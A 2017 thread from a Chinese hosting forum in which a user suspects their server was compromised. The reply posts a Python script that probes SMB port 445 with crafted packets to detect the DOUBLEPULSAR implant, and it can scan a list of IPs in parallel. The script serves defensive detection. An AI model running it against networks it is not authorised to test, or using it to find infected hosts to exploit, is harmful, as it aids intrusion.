全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别
查看: 1271|回复: 1

KS3C被黑?能怎样查?

[复制链接]
发表于 2017-4-22 22:42:21 | 显示全部楼层 |阅读模式
一直连接着桌面的,突然到了注销页面,看了后好像多了个账户,上次那个漏洞怎样查的?系统是DD的
QQ截图20170422223828.png (19.04 KB, 下载次数: 0)
发表于 2017-4-22 23:08:11 | 显示全部楼层
是这个吗?
  1. #!/usr/bin/python

  2. import binascii
  3. import socket
  4. import argparse
  5. import struct
  6. import threading


  7. # Packets
  8. negotiate_protocol_request = binascii.unhexlify("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
  9. session_setup_request = binascii.unhexlify("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
  10. tree_connect_request = binascii.unhexlify("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
  11. trans2_session_setup = binascii.unhexlify("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")

  12. # Arguments
  13. parser = argparse.ArgumentParser(description="Detect present of DOUBLEPULSAR implant\n\nAuthor: Luke Jennings\nWebsite: https://countercept.com\n推特: @countercept", formatter_class=argparse.RawTextHelpFormatter)
  14. group = parser.add_mutually_exclusive_group(required=True)
  15. group.add_argument('--ip', help='Single IP address to check')
  16. group.add_argument('--file', help='File containing a list of IP addresses to check')
  17. parser.add_argument('--timeout', help="Timeout on connection for socket in seconds", default=None)
  18. parser.add_argument('--verbose', help="Verbose output for checking of commands", action='store_true')
  19. parser.add_argument('--threads', help="Number of connection threads when checking file of IPs (default 10)", default="10")

  20. args = parser.parse_args()
  21. ip = args.ip
  22. filename = args.file
  23. timeout = args.timeout
  24. verbose = args.verbose
  25. num_threads = int(args.threads)
  26. semaphore = threading.BoundedSemaphore(value=num_threads)
  27. print_lock = threading.Lock()


  28. def print_status(ip, message):
  29.     global print_lock

  30.     with print_lock:
  31.         print "[*] [%s] %s" % (ip, message)


  32. def check_ip(ip):
  33.     global negotiate_protocol_request, session_setup_request, tree_connect_request, trans2_session_setup, timeout, verbose

  34.     # Connect to socket
  35.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  36.     s.settimeout(float(timeout) if timeout else None)
  37.     host = ip
  38.     port = 445
  39.     s.connect((host, port))

  40.     # Send/receive negotiate protocol request
  41.     if verbose:
  42.         print_status(ip, "Sending negotation protocol request")
  43.     s.send(negotiate_protocol_request)
  44.     s.recv(1024)

  45.     # Send/receive session setup request
  46.     if verbose:
  47.         print_status(ip, "Sending session setup request")
  48.     s.send(session_setup_request)
  49.     session_setup_response = s.recv(1024)

  50.     # Extract user ID from session setup response
  51.     user_id = session_setup_response[32:34]
  52.     if verbose:
  53.         print_status(ip, "User ID = %s" % struct.unpack("<H", user_id)[0])

  54.     # Replace user ID in tree connect request packet
  55.     modified_tree_connect_request = list(tree_connect_request)
  56.     modified_tree_connect_request[32] = user_id[0]
  57.     modified_tree_connect_request[33] = user_id[1]
  58.     modified_tree_connect_request = "".join(modified_tree_connect_request)

  59.     # Send tree connect request
  60.     if verbose:
  61.         print_status(ip, "Sending tree connect")
  62.     s.send(modified_tree_connect_request)
  63.     tree_connect_response = s.recv(1024)

  64.     # Extract tree ID from response
  65.     tree_id = tree_connect_response[28:30]
  66.     if verbose:
  67.         print_status(ip, "Tree ID = %s" % struct.unpack("<H", tree_id)[0])

  68.     # Replace tree ID and user ID in trans2 session setup packet
  69.     modified_trans2_session_setup = list(trans2_session_setup)
  70.     modified_trans2_session_setup[28] = tree_id[0]
  71.     modified_trans2_session_setup[29] = tree_id[1]
  72.     modified_trans2_session_setup[32] = user_id[0]
  73.     modified_trans2_session_setup[33] = user_id[1]
  74.     modified_trans2_session_setup = "".join(modified_trans2_session_setup)

  75.     # Send trans2 sessions setup request
  76.     if verbose:
  77.         print_status(ip, "Sending trans2 session setup")
  78.     s.send(modified_trans2_session_setup)
  79.     final_response = s.recv(1024)

  80.     s.close()

  81.     # Check for 0x51 response to indicate DOUBLEPULSAR infection
  82.     if final_response[34] == "\x51":
  83.         with print_lock:
  84.             print "[+] [%s] DOUBLEPULSAR DETECTED!!!" % ip
  85.     else:
  86.         with print_lock:
  87.             print "[-] [%s] No presence of DOUBLEPULSAR" % ip


  88. def threaded_check(ip_address):
  89.     global semaphore

  90.     try:
  91.         check_ip(ip_address)
  92.     except Exception as e:
  93.         with print_lock:
  94.             print "[ERROR] [%s] - %s" % (ip_address, e)
  95.     finally:
  96.         semaphore.release()


  97. if ip:
  98.     check_ip(ip)
  99. if filename:
  100.     with open(filename, "r") as fp:
  101.         for line in fp:
  102.             semaphore.acquire()
  103.             ip_address = line.strip()
  104.             t = threading.Thread(target=threaded_check, args=(ip_address,))
  105.             t.start()


复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-10-7 17:27 , Processed in 0.061289 second(s), 8 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表